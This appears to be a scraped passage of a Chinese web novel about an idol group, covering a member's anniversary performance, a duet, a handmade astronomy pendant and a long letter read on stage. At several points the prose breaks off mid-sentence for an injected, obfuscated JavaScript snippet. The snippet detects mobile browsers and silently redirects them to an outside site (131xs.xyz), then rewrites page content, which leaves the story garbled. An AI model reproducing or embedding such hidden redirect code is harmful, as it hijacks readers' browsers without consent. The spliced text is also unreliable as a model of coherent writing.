应时月站在台上,听见来自观众席应援声中混杂的无法忽视的讨论声,听见反复出现的“喻疏一”三个字,轻轻扬了扬嘴角。 可想而知,此时此刻,直播那边的弹幕应该正在刷屏。 而直到四首歌结束,音乐停下,台下才有人喊了一句。 “十月你怎么不早预告!” 这话喊得没头没尾,但所有人都知道在说什么。 彼时的应时月跟在队友们后面,准备下台。 听到这话,便回过头,冲着台下那位观众笑了笑,指了指喻疏一下台的方向,又做了个给嘴拉拉链的手势。 接着在台下的喧闹声中走下舞台。 四首大歌后是大MC,再往后则是unit环节。 生公大MC固定话题是“给成员献上生日祝福”——当然,到他这里,就变成了“给应时月献上出道八年的祝福”;至于unit环节,原则上也可以自己选歌,但往往,大家都会直接用当前正在进行的那套公演的全套unit曲,以减少排练的负担。 这次也不例外。 虽说明宸已然回归,但他本身是提前收工回来的,于是按照早期宣布给粉丝的预告,这场的落霞,参演人员依然是应时月和乔亦。 ——这也是他们的最后一场落霞。 前几场公演里,应时月和乔亦已经试图在这首歌上整了一些活。 像明宸和纪荇和那样炫技不现实,他们最后想的就是不断换造型、换故事,比如古风,又比如加各种奇奇怪怪的念白,青梅竹马被迫分离或者相爱相杀情感挣扎之类的,给这歌创造不同的背景。 台下的粉丝们也一样整活,每次念不同的call词,但整体的倾向,简而言之就是越来越……贴脸嗑cp。 到最后直接在台下郑重其事喊结婚了,应时月上次差点听笑场。 而如今,到真正要同这个短暂的双人合作unit告别之时,他们选择了回到最初的版本。台下cp粉的call词也恰好就回到最初的那一版,同他们一起完成了这场收尾。 大概是一种无言的默契。 * 不过,今晚属于时亦的双人曲也不止一首。 unit结束之后是一个小mc,全后辈阵容,再往后是应时月的生日表演环节。 应时月带着小后辈们连着跳了好多个不同的舞台——里面不少是那天粉丝点到的歌。 一直到倒数第二个节目、first登场之前,才总算轮到他和乔亦的、特别双人舞台。 他们这次选的歌叫《平行线》。 这歌挺冷,是N队18年的公演曲。虽然也是适合作为cp舞台的双人曲,但不巧原曲是站桩唱歌纯vocal曲,原唱两位都人气不高、早早退团,而如今队内top们的cp ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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……如果乔亦没有突然回来的话。 68. 星夜 为这个舞台,他们也做了一个简陋的MV。 简陋是确实简陋,就半分钟,在公司门口的那个十字路口拍的。 视频的左上和右下是两个时间和流速都不同的时钟,分别代表应时月和乔亦所处的时间线。被虚影化的两人各自行走于街道上,在不同的时区忙碌而有序,无数次彼此擦身而过——又或者是保持透明状态、彼此穿过。 他们无数次相遇,却感知不到对方的存在。 直到视频的最后,两个钟表的指针落到了同一个时间点——11点26分。 那一刻,透明的世界终于变得不再虚幻,两人出现了实体。他们不约而同抬头,彼此的瞳孔落入对方视线之中。 接着便是一片黑暗。 应时月站在后台准备上场的位置,听台下观众的喧闹里,夹杂着“这是首什么歌”“有点耳熟”的讨论声。 当然,也有人记得,毕竟链团粉丝不少并不是只看一个队的演出。很快有人解答了疑问,而接下来,那些大概是猜测舞台剧情的声音,又淹没于台下“时亦”的呼声之中。 原曲是纯vocal曲,他们于是也只增添了少量的舞蹈。毕竟太复杂的两人做不好,反而可能会弄巧成拙。 前奏阶段是各自一段独舞。 灯光并没有照亮全场,而是分别只落在身处舞台两侧的应时月和乔亦身上,他们在灯光下各自跳着。 这段的编排并不难,但依旧是有着明确的配合——如果剪切掉中间隔着的大半个舞台的距离,那他们的动作刚好就能凑成完整、协调的双人舞。 再往后,则是两人各自走位,交替举起手麦唱歌。 这不是那种身体接触很多、将“卖腐”两个字写在明面上的双人舞台。与之相反,它其实并没有那么强的“cp舞台”的性质。 毕竟落霞是合格的cp舞台。应时月心想,那这个环节,就留给他们自己,说一些想说的话,唱一些能自我传达的歌。 两人的走位是不交叉、不同频的,但最终踏过的线路却完全一致。 他们在不同的时间上、走过相同的轨迹,却一直在错过之中——直到副歌阶段,如同MV的场景一般,两人抬头同彼此对视。 他们走向彼此,同对方相遇,再一起跳了一段双人舞。 ——同开场那段的编排如出一辙,只是这一轮里,有对方来填补那些缺失的位置。 歌曲的情绪被推向高点,往后两人再度别过。 后续如同前一段不交错走位的重复。 而这一次,他们所吟唱的歌谣要更加坚定,也更加轻快。 他们只在最后做了一点点额外修改。 原来歌词的结尾是“再不相逢”,本来的结局应当是,随着歌曲走向结束,两人各自回归他们如同平行线一般的生活轨迹。 但合情合理地,乔亦将它改成了“再次相逢”。 在最后一次擦肩而过。看似将要走向各自来时道路时,乔亦突然向后伸手,勾住了应时月的指尖。 应时月于是也停住脚步。 在音乐声终止的一刻,同时扭头回望的两人放下话筒,在台上对视。 灯光在欢呼声中熄灭。 * 两人下台之后便是急速换装过程。 此时此刻,台前开始播放最后一段视频,是应时月剪的、一个回顾他至今为止偶像生涯的视频。 前台的喧闹声消散了不少。 观众们大概也知道这是生日表演环节将要收尾的前兆,因此都安安静静地开始看这些……属于应时月的成长经历、属于应时月的巅峰和低谷。 视频的结尾,停留于今天公演的开场。大歌换喻疏一上台后,乔亦在后台帮他紧急加入了一段直播画面。 现实同回忆彼此交错,新的篇章从此刻展开,并且未完待续——这是应时月想要借此传达的内容。 只不过,视频放映结束,灯光未曾亮起,观众们所预期的、接下来的生日庆祝环节也并没有随之开始。 即使应时月可能还在换衣服,但也没有人帮他串场。这时候才有人意识到了……可能还有节目这件事。 而这种猜想,在staff帮忙将架子鼓、键盘和立麦搬上舞台之时,得到了验证。 ——一个能放在时亦双人舞台之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此时此刻,这片星空正在同他、同台上的五个人共鸣,所吟唱的是“第一次相遇、第一次登台、第一次看见星光为我们闪亮”。 69. 旧照片 first过后的那首初雪夜,歌如其名,是一首抒情歌。 这首歌的知名度不如first,也并非是情绪激烈的歌,因此台下不再是跟唱。 背后的LED大屏幕已经换成了飘动的小雪花的图案,喻疏一压了压声线,流淌出来的音节便也温柔和轻缓了几分。 观众们于是只安安静静地听,一边听一边不约而同、但又整齐划一地挥动着手上的应援棒。 就像是小型演唱会一样。应时月心想。 到结尾阶段,LED上飘动的雪花消失,变成了提前剪辑好的、一系列照片的轮播。 照片色调略有昏暗,其上是拍摄的雪景,以及在雪中神色各异的少年们。 如果是老粉,大概会有印象,这是一组拍摄于2018年初雪那天的照片,图上基本是first的五个人,偶尔有其他队友前队友入镜。 明宸和贺景然还能紧靠在一起对着拍摄者的方向比心;前一张是少年应时月愣愣地看着镜头,下一张就是乔亦环住他的肩膀比了个耶;喻疏一最开始是站在一边假装深沉哥哥看着他们打闹,后来也装不下去了,拉所有人一起开始堆雪人。 大家的眉眼间都有一些改变,比如成熟了,又比如多了些很难在高三学生身上看到的灵动和神采。 变得少的大概是喻疏一和乔亦。前者是由于当年已经有二十岁了,后者是靠着那张被粉丝说到三十岁估计也像高中生的、和本人性格一点也不符的娃娃脸。 这组照片拍摄的第二天,他们聚在一起,为年底first的特别舞台做策划。 乔亦说既然昨晚下了初雪,那就写一首叫《初雪夜》的歌好了——这个建议得到了所有人的赞同,于是最后有了此刻表演的这个曲子。 表演到尾声,应时月回过头,看了看身后的屏幕。 屏幕上照片轮放到最后一张,是他们五个人站在那个拙劣的、五官全歪的雪人之前对着镜头笑起来的场景。当时大概是晚上十点……或者十一点?应时月记不太清。 但即使是晚上,宿舍楼下昏黄的路灯也依然很明亮,明亮地照耀着每个人的笑脸。 他回过头,举起话筒说:“感谢大家能在今年的初雪夜前来观看first的初雪夜。” 然后对着全场观众鞠躬致意。 * 舞台落幕,staff上台将那些乐器搬了下去,只给他们留下了一人一个手麦。 台上的五人并没有下台,而是换了个站位直接回到了舞台中央。LED大屏已经从那些老照片,换成了应时月生日公演的宣传图,这也宣告着生日庆祝环节的开始。 如今应时月站在中央,两侧是许久不见的元老成员喻疏一、以及各种意义上与他绑定的乔亦,再往外则是无论如何也不能放在一起的明宸和贺景然。 台下的喧闹和响应到此刻为止尚未休止。 这还是在现场,应时月没来由地心想。此时此刻,论坛上应该已然喧闹一片了。 ——事实上,确实如他所预料般,这时候的链团专组,已经在进行大刷屏活动了。 【主题】看到一半就要说,可以载入你链史册的生公 主楼:十月今年想冲总选排名的心思都写在脸上了…要情怀有情怀要麦麸有麦麸要舞台有舞台要惊喜有惊喜 3L 很难说是惊喜还是惊吓,对有些粉丝来说 7L 本单推今天刚开完会在地铁上急匆匆点进去就被惊艳到了… 虽然我推这张脸是我看一遍就要感叹一遍造物主神迹的程度但今天还是漂亮得太过分了 11L 是的,特别清纯 13L 回复11L:啊不是,打错字了,特别青春 16L 回复13L:哈哈哈哈哈清纯也不是不行 19L 我们11一夜之间突然变成男高xql了 22L 我们11在活着的时间线里确实大多数时候是男高xql,符合刻板认知 25L 回复22L:好痛的认知 27L 今天的发型妆造明显是模仿刚出道公开那会做的,有幸在线下看过那个造型,比线上那些遗留的照片视频还要惊艳 不过当时负责妆造的stf已经跑路好几年了,十月都14变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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况且……这总归也确实是他作为“偶像”这个身份的生日。应时月想到乔亦下午的那句话,又想。 所以按生日庆祝是顺理成章的。 在聊了一会之后,台上的灯光暗了一大半,只留下能让他们——或者说是让陆语心,能看清路的水平。 陆语心从后台推了个放蛋糕的架子上来,一直推到舞台中央。 这蛋糕大概10寸,是很常规的、但有点华丽的款式,其上有金色的“祝十月出道八周年快乐”的文字。 “还是过出道日方便,”陆语心一边固定支架一边说,“这样永远都能给你插上足够数量的蜡烛。” “可惜这个日子被我抢了。”应时月笑了笑说,“你们没机会了。” 乔亦在一边默不作声地打开装蜡烛的盒子,在蛋糕上插上八支。 ——他的插法并不是环绕一圈,而是放了内外两圈。每圈四根蜡烛,并且两圈之间错开45度角。 应时月眨眨眼,思考着这是什么用意。 不过没等他思考完,答案就已经被乔亦本人公布了出来——这人右手食指虚虚地在蜡烛之间画着连线,应时月才意识到,乔亦所选择的,并不是两个套圈正方形,而是四芒星的八个顶点。 应时月低下头,轻轻笑了一声,垂在身侧的手指又在虚空中不由自主跟着画了一遍图案。 ……这倒是挺有乔亦的风格的。 那边的陆语心见蜡烛插好,于是开始继续cue流程,兢兢业业完成他提前被赋予的串场职责。 再往后就是点蜡烛,舞台熄灯,许愿,吹灭。不是真正的生日,于是也不唱生日歌,大家只安安静静陪着他走流程,最后同台下一起喊一句“八周年快乐”。 应时月已经习惯了将这天当做生日一样庆祝,于是也正正经经像每年那样许愿。 许的是2016年以来就年复一年未曾变过的愿望,希望大家都平平安安。 * 许愿结束,舞台灯光大亮。 蛋糕暂时完成了它的使命,于是被推下场——按照惯例,等公演彻底结束,本场公演的所有参演人员连同staff会一起分这个蛋糕,顺便再录个花絮视频放在官博上。 陆语心将蛋糕推了下去,过了一会,又重新推着架子回到了台上。 类似的流程大家再熟悉不过。在被帘子遮挡住的金属架之下,会放一些台上几人打算送给应时月的“生日礼物”。 实质上,应时月在很长一段时间里一直觉得,将这种私人化的东西放在台面上,多少有些让人束手束脚、且充满了做戏之感——即使他在台上送出去的礼物说出去的话也一样真心诚意。 只不过很显然的是,粉丝确实很爱看这个环节,无论是嗑cp还是作为男团学素材、又或者只是单推用来吹一吹自家小偶像的人缘。 既然如此,就好好给她们呈现……至少将能放在台面上说的话给大家好好呈现出来。 ——这算是他们的共识。 非常顺理成章且毫无争议的是,乔亦被安排在了最后一位。 朋友们依次给他送上礼物,接着再给他念信——这算是很多偶像团体都喜欢搞的项目,在成员的生日会上安排队友们提前写信念给生日成员,而这些文案将会成为被粉丝反复分析的对象。 虽说到应时月这里,其实并没有那么多值得分析的点。 他不算什么人缘很好的人,但与台上这群人确确实实都是真心的朋友——这份真心同样也被刻进了信里。 而且实话说……他们虽然是朋友,但平日里也很少会对对方说一些抒情性的话。 生日公演是个很特别的机会,应时月一直如此觉得。很多平时不好意思说的、或者不会想着去说的,反倒是能在这个环节里说出口——虽说台上面对无数线上线下观众,但偏偏就是这份“表演性”最适合用来传递真心。 “……好像到我了?”喻疏一说完,同应时月来了个拥抱,接着乔亦眨眨眼,疑问性开口,说出来很多观众等待已久的一句话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532626|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对,”陆语心笑得莫名其妙的,“到你了呢。” “怎么阴阳怪气的。”乔亦小声说了一句——当然在话筒的放大之下也没有真的很小声,接着上前几步,取出最后一个盒子,双手递给应时月,“这是我的礼物……拆一下看看?” 应时月接过,难得突然有点紧张。 乔亦拿出的这个盒子并不是很大,看上去像是什么挂件的大小。 为了保证这个环节的神秘性,他们队里有不成文的默认规定,就是都不会提前向本人透露礼物的选择——应时月最近都同乔亦住一起,天天高强度见面,也完全不知道这人什么时候做的准备。 他以前喜欢给乔亦送一些需要制作的小玩意。那时候乔亦虽然也不会提前知道他要送什么,但至少会知道“应时月在准备”这件事。 而乔亦以前……平日里给队友、给他花钱都花得很果断,果断到让大家心生愧疚,到生日反而会送一些不值钱的、很有纪念意义的物品,比如将应时月一年里所有舞台的造型全都画下来并打印成册、又比如每天或悄悄或光明正大拍一张他的照片做成一整本,并将其称为十月成长记录,这之类的。 只是如今,他们并没有朝夕相处的一整年。 应时月看着手上小小的盒子,还真猜不到会是什么。 他将手放在开口处,深呼吸,最后打开。 意料之外而又情理之中的……是一根项链,吊着浅金色的坠子。 一个天文球形状的吊坠。 因为是吊坠,所以并不是很大一个。但小小的吊坠却分了好几层,一圈圈轨道环绕着中央的星体,制作非常精细。 “好精致好漂亮,”明宸凑过来看了一眼,就给出了极高的评价,“完全是顶级做工啊,是亦哥你定制的吗?” “不是哦,”乔亦眨眨眼,“是我自己做的。” 应时月抬头,同乔亦闪亮的目光对视了片刻,又将视线放回到吊坠之上。 怎么换成我的路数了啊。 他如此想着,目光愣愣地看着手上的吊坠,心情有些复杂。 71. 念信 台上有人说话有人看热闹有人短暂发呆,台下观众此刻的想法和反应却如出一辙。 “十月能不能给观众看看啊!”有人喊出了大家的心声。 应时月听到这话,第一反应是看乔亦的神色……虽说他转了头,才意识到他本来是没必要征求乔亦的意见的。 乔亦点点头,又莫名其妙地笑了一下。 于是应时月示意摄像师抬着机器向前几步,给手上的吊坠来了个近距离的拍摄。 台下观众这回看清了,于是喊话换词了,变成了“十月戴上看看”。 应时月本来想的是,等晚上下了公演回宿舍,再戴上看看效果——毕竟过会还要跳舞和换衣服。 而且,更重要的原因是……不知道为什么,乔亦说了那句“自己做的”之后,应时月再看手上这个坠子,便觉得它脆弱了几分。 他有些犹豫,用手捧着吊坠的时候,都小心翼翼的几分。 “可以随便动的,”乔亦大概是看出了他的想法,突然就来了一句,“很稳固的,这不是金子,只是金色的特殊材质,不会变形也不会碎。” 应时月这才松了口气。 他心想既然如此,就遵循台下的要求,现在戴上试试,于是双手拎着项链的两端,习惯性地在身前测了测长度,然后又顺手去开锁扣…… 接着动作停顿了半分。 作为手工高手,应时月向来对几种常见的项链手链锁扣样式很熟悉,但手上这根链子显然并非其中任何一种。 甚至他看了好几眼,又动手测试了一番,才明白它应该怎么打开——它分了两层,一层要向特定方向旋转,另一层是向特定角度推动。 到底为什么会做一个这么复杂的锁扣,应时月心想。总不能是故意的吧。 想到这里,他侧过头,看了眼乔亦的方向。 “这个锁扣比较特殊,可能不太好操作,”乔亦对上他的目光,下一刻,以一种尤其无辜的语气开口,“你如果想戴上试试的话,我来帮忙好了。” 应时月眨眨眼,在台下的起哄声中,将项链递给他。 然后他看着乔亦走到他身后,又感觉到吊坠落在皮肤上的冰凉的触感——乔亦的指尖挑开他脖子后面有点长的发尾,接着是金属转动的声音。 大体是固体传导的原因,这声音显得格外清晰,清晰到台下的喧闹仿佛像是隔了一层雾般朦朦胧胧。 应时月没有拿话筒,而是直接用正常的、此刻只有两人能听到的声音问了一句:“你不会是故意做这么复杂的吧?” “对啊,”乔亦回答,带着笑意的语气非常坦然,“你不觉得很精巧很有意思吗?” 完全答非所问。应时月想。 明明看上去是非常正面回答他的问题,却总给人答非所问之感……但他也没有再追问。 来自后颈的金属转动声悄然停止。 应时月垂下眼眸,看着在身前因舞台反光而闪烁的金色吊坠。他沉默了一会,觉得自己有好些话想说,但不知为何,又一句话都说不出来。 “很好看,”最后他拿起话筒,看向乔亦说,“我很喜欢。” “好套话啊!”乔亦还没说话,先出声的是看热闹的陆语心,“十月你能不能说点小作文出来啊?” 应时月顿了顿,突然就有种……手足无措感。 确实,无论出于什么理由,他好像都应该多说几句,但如今,此情此景之下……应时月已经想不到更合适的回应了。 “不要为难十月啊,他只是一个工科生,”乔亦笑了出声,举起话筒说,“能不能先听我念小作文啊?我的小作文很长的,但我们的公演时间很有限,别过会超时了大家一起扣钱啊。” “那你快念,”陆语心听到“很长”两个字,立即就说,“等很久了。” 台下又是一片起哄声。 “稍等,”乔亦说,然后放下话筒,从外套口袋里拿出几张纸,背向应时月展开,又才拿起话筒,“那我开始了?” 应时月有点意外,但也点点头。 虽然叫“念信”,但这个环节最近几年已经被电子化了。 一般来说,大家都是拿着手机开始读,突然见到几张纸,应时月还有点不习惯。 “嗯,”乔亦低了低头,像是在看手上的信,又像只是在放空般,开口道,“……亲爱的应时月,好久不见。” “好久不见。”应时月在他停顿的时候,低了低头说。 这四个字……这两个月来,他们已经说了好几遍。 在不同的场合,在不同的语境,也在不同的心境下——应时月几乎能猜到乔亦一定会再次以此作为开端,因而真正听到的时候,就有种名为“预测成功”的、稍纵即逝的喜悦感。 像是在对什么无人知晓的暗号一般。 “我想了很久应该从哪里开始念这封信,最后觉得,还是从2015年9月4号那天比较合适,”乔亦说,“我们公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532627|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司旧址附近有些荒凉,行人不太多,四处是施工工地溅起的烟雾,而当时的我看见你站在路口,像是灰调世界里唯一的那道亮色——那是我第一次遇见你。” “人总是习惯于为自己最喜欢的故事增添一个有意义的、梦幻般的开头,我大概也不例外,所以上述形容,实质上都来自于我的滤镜,”乔亦说到这里的时候笑了一声,伴随的是台下同步的笑声,“有了这样的开头,这个故事的下一句往往是——那时候的乔亦还没有意识到,这将是他人生中最重要的日子之一。” 乔亦会从八年前开始说……这确实是在应时月的意料之外。 他捏了捏手指,再度产生了一些没来由的紧张。 应时月说不准自己在紧张什么……又或者其实说得准。 “但这是我的故事,所以我会说,”而乔亦继续说,“自那之后每一个与你做队友的日子,对我而言都同等重要。” 于是乔亦就开始说那些他们共同经历过的事。 那些……应时月有的记得、有的不记得的,琐碎的片刻。 说第一次被安排成为室友时候的欣喜,说出道前集训练歌舞的那几个月魔鬼训练的痛苦和动力,说第一次公开时肩并肩坐在床上一起小心翼翼看网友评论的忐忑,说第一场首演面对台下不太多的观众时的紧张和兴奋。 说他们一起度过的好几个春节,一起在公司门口或宿舍门口堆雪人,一起缩在被子里看春晚看到莫名其妙靠着彼此睡着;说他们一起上的很多场公演很多双人舞台,一起在练习室待到深夜成为最后熄灭的光,一起在台上听着来自观众席不绝于耳的“时亦”的喊声;说他们一起骑着车迎着清晨的第一道光跨越半个城市上学,一起被抓去参加年级的篮球赛,一起在数学课上悄悄传纸条讨论一道物理压轴题。 毫无预兆地,应时月想起初三那会他们一起背政治历史的时候。 乔亦会给他按照他最能接受的条理讲述一遍。于是应时月每次都沿着乔亦“规划”好的路径,去记那些对他来说并不熟悉的文字;后来坐在考场上,每次落笔的时候,都感觉乔亦在自己耳边说话,乔亦在脑子里说一句话,他就能想起好多知识点。 应时月一直都知道乔亦记性好,但如今才是真正特别深刻意识到了这一点。 而偏偏,此刻像是回到了当时。那些乔亦一句又一句话带过的内容……他都能在脑子里跟着一并回想起来每一个场景。 挺神奇的。应时月想。 72. 信纸 乔亦的讲述到四年前戛然而止,接着一转向了所有人生公念信都必不可少的抒情环节。 但应时月却莫名其妙想到了一些别的。 2019年11月,哥哥出事,他回家了一周,刚好就错过了11月26号这个日子——虽说那年没有生公与此无关,而是因为生公排在了20年1月,应时月刚受了伤,所以取消了。 但26号那天乔亦还没有消失。他卡着一期生公布的时间点在线上给应时月发消息,说四周年快乐,说他有很多话想说,等下回在台上、在生日公演上当面说。 而那个被贷款的……能当面说话的下回生日公演,到今天才刚刚实现。 应时月突然就觉得很宿命。 他今年本来不应该有生日公演。但那场乔亦承诺过的、要给他说很多话的生日公演并没有如期举行,又恰恰补在了这个重逢的时间点……就像是补上了分开到现在的整整四年一样。 当然,这四年的缺口永远不会真正被填补上。但此刻的应时月,恍惚之中,总觉得自己像是回到了十八岁的那个路口。 他听听乔亦说着他们过去四年的一点一滴,展望未来的生活,说专属于他们的爱、成长和梦想,属于他们的经历和将要经历的一切。 于是那些彼此不在身边的日子,就在此刻急速坠入名为“时间”的漩涡里。 都接上了。应时月后知后觉般想着,那场没办成的生日公演,原来会以这样的形态回来啊。 “按公司的说法,这场公演是为了补偿2019年错过的生公……刚好,这封信在一方面也是为了补偿2019年那封错过的信,”乔亦说着说着,居然也就说到了这里,“有很多话我想在那年冬天就告诉你,但终究没有机会说出口。” “很幸运能在此刻有可以弥补的机会,”乔亦说完又改口,“大概也不算弥补——不辞而别这种事永远不应该得到弥补,也永远不应该被彻底原谅,但我依然很高兴,能在这时候将这些话说给你……以上是十八岁的乔亦想要讲给应时月的故事。” “……不是的,”应时月顿了顿,还是说,“没有的事。” 他这句话没有指向性,但所有人都知道指向性——所有人也都心照不宣。 “后来的那些日子里,我错过了三场你的生日公演,”乔亦于是低头笑了一会,才继续说,“2018年冬天,你说很喜欢我给你送的那些画,这次时间有限,但我也画了三张,给那三场演出,不知道你还会不会有兴趣。” 他说着,放下话筒,将手上那些信纸的前三张递给应时月……而应时月这才反应过来,乔亦说了好多好多话,但一直没有翻页过。 那些话已经远远超过了一张纸所能写下的范围。 拿到手上的纸变得沉重了几分,应时月打开,看到的是三张乔亦的手绘图,画的是他每年生日公演的标志性造型。画得很好看,或者说,乔亦惯用那种干干净净的平涂画风,本来就是应时月最喜欢的类型。 20年的生公他留了长发,绑了个高马尾;21年的生公创造了一个有点小出圈、上了热搜的古风舞台;22年的生公最特殊,时间早撞上万圣节,所以他穿了一身小恶魔的服装,抱了个巨大的南瓜灯。 那个有点凶的南瓜灯被乔亦改成了笑脸,显得可爱了几分。 台下又再度传来“十月给大伙展示一下”的声音。 应时月小心翼翼单手捏着它们,举起话筒笑了一声:“……这个不给你们看。” 乔亦望着他,也在台下的起哄中笑。 笑着的时候,大概是注意到应时月的目光,于是他抬了抬手上最后一张纸:“……这是有字的啊,先不给你。” 但不管有没有字,你说的时候,看的完全不是这张纸啊。 应时月心说。 只是下一刻,他又有种恍然般的理所当然之感。 对啊,他才感慨过,乔亦是一个记性很好的人,而且向来当队长、发言能力和随机应变能力都远超其他人,他早该想到,这人完全不需要稿子也能发挥。 但乔亦偏偏就时不时低头看一眼,装得太好了一点。 这人此时此刻,依旧在对着他那张人尽皆知的皇帝的新纸念稿,说了好长好长的内容,说完抒情,又开始对应时月大夸特夸,让他有些不好意思了起来。 “……我一直觉得我是一个很幸运的人,在这么多事之后,还能再度与你站在同一个舞台,与你住同一个宿舍,与你像此刻这样相处,与你共享每一天的夕阳与晨晖,”他最后说,“我希望我们还会有很多很多像这样的每一天可以展望,但我更希望你在未来的每一天,都过着你最想要过着的生活。” “总之,无论如何,想要再对你说一次,对不起缺席了过去的四年,但未来的乔亦会一直都在你身边,”乔亦盯着手上的纸说,“你永远都是我最重要 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“那不然呢,”乔亦转过身看他,接着用一种十成十开玩笑的语气回答,顿了好几秒,才在台下巨大的、铺天盖地的声浪中眨眨眼,接了下一句,“毕竟大家都知道我最喜欢十月嘛。” 应时月的心跳差点被吓停了一秒。 这样的玩笑话,他们以前也经常在台上说。 少年人总是将喜欢将爱挂在嘴边,摄像头前、观众面前的表达,永远比私下来得夸张而热烈——这是他们在聚光灯之下表演和制造热度的一部分。当年的应时月也能在微博评论“能不能别这么爱你室友”下面,坦然回复一句“我就是最爱乔亦啊怎么你了”,也能在台上说“L队所有人里最爱我室友”。 但这话四年多没听。如今不知为何,重新听到乔亦说,应时月总觉得有那么几分不一样的味道。 ……不知道是最近想得太多,还是真不一样。应时月有些茫然,有些大脑过载,又觉得自己不该接上一句轻飘飘的玩笑话。 于是他在手忙脚乱中,干脆低头打开那张纸。 如乔亦所说,那确实是一张写了字的纸。只不过纸上只有单薄三个字,是熟悉的乔亦漂亮的字体,其他地方都空空荡荡。 那三个字写的是意料之外的话,是“谢谢你”。 73. 试探与代试探 在台上,留给应时月思考的时间并没有那么多。 观众起哄了一阵后也很有默契地停下,将主场留给台上的一群小偶像们。 应时月举起话筒,在喧闹将要平息之前,才终于说:“也谢谢你。” 他觉得自己这段发言短到有些不合适,但又想不到更适合的、能浓缩如今所有情绪和想法的回应。 而且……乔亦会明白的。只要乔亦能明白,那其他所有人会如何评价,都无所谓。应时月想。 听完这段话,意料之中的是,乔亦对着他露出了一个了然的笑;意料之外的是,乔亦走上前两步,给他回了一个拥抱。 一秒不到、一触即分的那种。 陆语心没有再出来说什么让应时月多说几句。 如今台上的所有人都心知肚明,这样简单的话远比应时月再回敬一篇小作文来得有意义。 接着,在陆语心的陈词之下,这个环节到此落下帷幕。 台上有一半的人到此结束今天的任务,剩余一半L队的现役成员还有后三分之一场的公演要跳。 明宸如今从剧组回来,按理来说,乔亦又应该回到只跳半场的状态。 但之前和他分站位的那位小后辈今年高三,是艺术生,最近在闭关忙艺考,到校考彻底结束前都不上公演,乔亦的全场公演又续费了几个月。 于是几人匆匆下去换衣服,准备后续的歌。 应时月也来不及去细想刚刚庆祝环节的事,而是先将自己的大脑转移到歌舞状态,好好担任这一年一度的大歌C位。 * 公演结束,同粉丝道别之后,L队还没有解散。 等待他们的是名为“分蛋糕”的集体性大活动——当然,最后落到每个人手上也就小小一个。 但这也好。 如果是每人一大块,那必然会有说出“热量投喂”四个字了。 很顺理成章的,应时月拿到的是第一块,也是带着花纹的、全是奶油的那一块。 ——他并不是什么容易身材变形的体质,因此也没什么热量焦虑。 帮他切蛋糕的是乔亦、明宸和唐言——惯例来说,这事一般都不会让寿星自己干,于是两位一期生连同现任队长便义不容辞。 虽然应时月和“寿星”两个字也没什么关系。 总之,趁着这时候那几人在忙,无暇顾及周边的变动,应时月向着贺景然的方向看了好几眼。 于是贺景然心领神会,坐到了他旁边。 这群一期生会坐一起,此外,应时月身边一定有一个位置要留给乔亦,以上都是队里的共识。因此贺景然一坐下,反而让他们身边空了一圈。 “我知道你想说什么,”贺景然刚端着蛋糕盘子坐下,就压低声音,用只有他们能听见的音量开口道,“你不是跃跃欲试,这么久都想问又不敢问吗?” “我哪有。”应时月没想到他一上来就直奔重点,顿了顿才说。 “还说你没有,你真没有的话,你应该问我这话指的是什么,而不是直接反驳。”贺景然说。 “你不用把这个结论说出来的。”应时月叹气,“我又不是什么不带脑子说话的人。” “总之就是这样,”贺景然不回应他,而是自顾自说,“你不敢试探,那我就帮你试探,到时候你俩粉丝骂也是骂我,多好的事,你说对吧?” 应时月于是偏过头看他,一时间什么都没说。 他想问一句“你怎么看”,但犹豫了片刻又觉得不该问——这本质是他和乔亦两个人的事,那也应该只由他自己思考、自己判断、自己处理。 况且现在也没试探出什么名堂……或者说,只要在台上,就不可能试探出什么名堂。就算应时月自己来一句“你不会暗恋我吧”,乔亦也一定会、也一定只会用玩笑的口气说一句“那当然了”。 就算他们明明没有在玩“当然了”游戏。 但这样的询问更不可能放在台下。 且不论应时月觉得这事有自己在无端臆想、自作多情的可能性,他身处链团,知道团里有好 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贺景然很识趣地在明宸坐下前就闭嘴低头专心吃蛋糕,但还是没防住明宸来了句:“有些人就喜欢胡言乱语。” 